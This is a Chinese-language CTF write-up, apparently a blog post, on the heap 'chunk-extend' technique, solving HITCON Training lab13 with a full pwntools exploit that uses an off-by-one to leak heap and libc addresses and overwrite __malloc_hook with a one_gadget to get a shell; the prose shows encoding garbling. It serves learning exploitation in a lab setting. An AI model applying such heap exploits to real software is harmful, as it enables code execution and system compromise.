寫在最前面
不知不覺(jué)已經(jīng)是2019年3月下旬了,過(guò)去的一年里,我將大部分的時(shí)間和精力都花在了復(fù)習(xí)考研上,本來(lái)想學(xué)習(xí)pwn的計(jì)劃鴿和很久,現(xiàn)在終于有時(shí)間將以前pwn的知識(shí)撿回來(lái),同時(shí)繼續(xù)我的pwn萌新之旅了.看著身邊的人在這一年里,成長(zhǎng)進(jìn)步了很多,許多人已經(jīng)變成大佬,我這個(gè)老萌新也要加油了.時(shí)光匆匆,不知道我這個(gè)老萌新還能適應(yīng)ctf嗎?
前言
chunk-extend是一種ctf中常見的套路,他能帶來(lái)的好處也很多,比如泄露heap地址,libc的地址之類的,如果條件適當(dāng),我們還可以配合其他的堆利用方法,實(shí)現(xiàn)getshell等目的.
效果:
- 泄露chunk中數(shù)據(jù)(感覺(jué)這個(gè)不重要)
- 泄露已釋放堆中數(shù)據(jù)
- 覆蓋已釋放堆中指針
- 等等
chunk-extend利用的條件比較常見的是off-by-one等溢出,就是利用0x18這一類堆塊占用下一堆塊pre-size位置的原理,進(jìn)行一字節(jié)的溢出,進(jìn)而覆蓋下一堆塊的size位置的數(shù)據(jù).今天也只總結(jié)這一種吧,后續(xù)補(bǔ)充.
這次就算是撿回知識(shí),所以復(fù)習(xí)用的題目就比較簡(jiǎn)單了.
題目
HITCON Trainging lab13
題目鏈接
看下這個(gè)題目
這個(gè)題目里的edit函數(shù)中存在這樣的代碼:
其中heaparray[v1]中存放的是chunk的size,(*heaparray[v1]+1)其實(shí)就是heaparray[v1+1]中存放的是堆的指針.這個(gè)題有這個(gè)洞就夠了.
在探索它的create后,發(fā)現(xiàn)這個(gè)題目簡(jiǎn)直不要太友好,因?yàn)閔eaparray就在堆上,我們甚至不需要構(gòu)造fastbin-attack之類的條件,直接改heaparray上的指針就好了,但是我還是想在下面把fastbin-attack的思路簡(jiǎn)單總結(jié)下
思路
上述已經(jīng)很明白了
第一種思路:直接修改heaparray上的指針
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
one_gadget = 0x4526a
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
'''
test for off-by-one
'''
create(0x18,'a'*0x18)
create(0x18,'a'*0x18)
print r.recvuntil("\n")
edit(0,'a'*24+'\x71')
print r.recvuntil("\n")
'''
sucess
'''
'''
leak address
'''
create(0x10,p64(0)+p64(0x21))#2
delete(1)
create(0x60,p64(0xdeadbeefdeadbeef))# 0x40 info:60 1
show(1)
r.recvuntil('Content : ')
r.recv(8)
a = r.recvuntil('Done !')[:-7]
'''
free chunk into fastbin,get heap address
'''
heap_addr = u64(a+'\x00'*(8-len(a))) - 0x0a
success('heap_addr: '+hex(heap_addr))
'''
free chunk into unsortbin,get libc address
'''
create(0x90,p64(0xbbbb)) #3 info d0 0xe0
create(0x10,p64(0xaaaa))
payload = p64(0)+p64(0)+p64(0)+p64(0x21)+p64(0x100)
edit(1,payload+p64(heap_addr + 0xf0))
delete(3)
show(1)
r.recvuntil('Content : ')
a = r.recvuntil('Done !')[:-7]
libc_addr = u64(a+'\x00'*(8-len(a))) - 3951480
success('lib_addr: ' + hex(libc_addr))
'''
pwn!!!
'''
create(0x10,'a')
edit(1,payload+p64(0)+p64(0xa)+p64(0)*11+p64(0x80)+p64(0x20)+p64(0x10)+p64(libc_addr + 3951376))
edit(4,p64(one_gadget+ libc_addr))
'''
change the content of heaparray.hijack malloc_hook.
'''
r.recvuntil(":")
r.sendline("1")
r.interactive()
這里注釋比較清晰了,這里我覆蓋了malloc_hook,在第二種方法中,也是可以的
第二種方法:fastbin-attack
就不貼代碼了,也比較簡(jiǎn)單,地址都泄露出來(lái)了,只要接下了構(gòu)造0x70的fastbin就ok,直接指向malloc_hook,我一年前的文章應(yīng)該也提過(guò)類似的方法.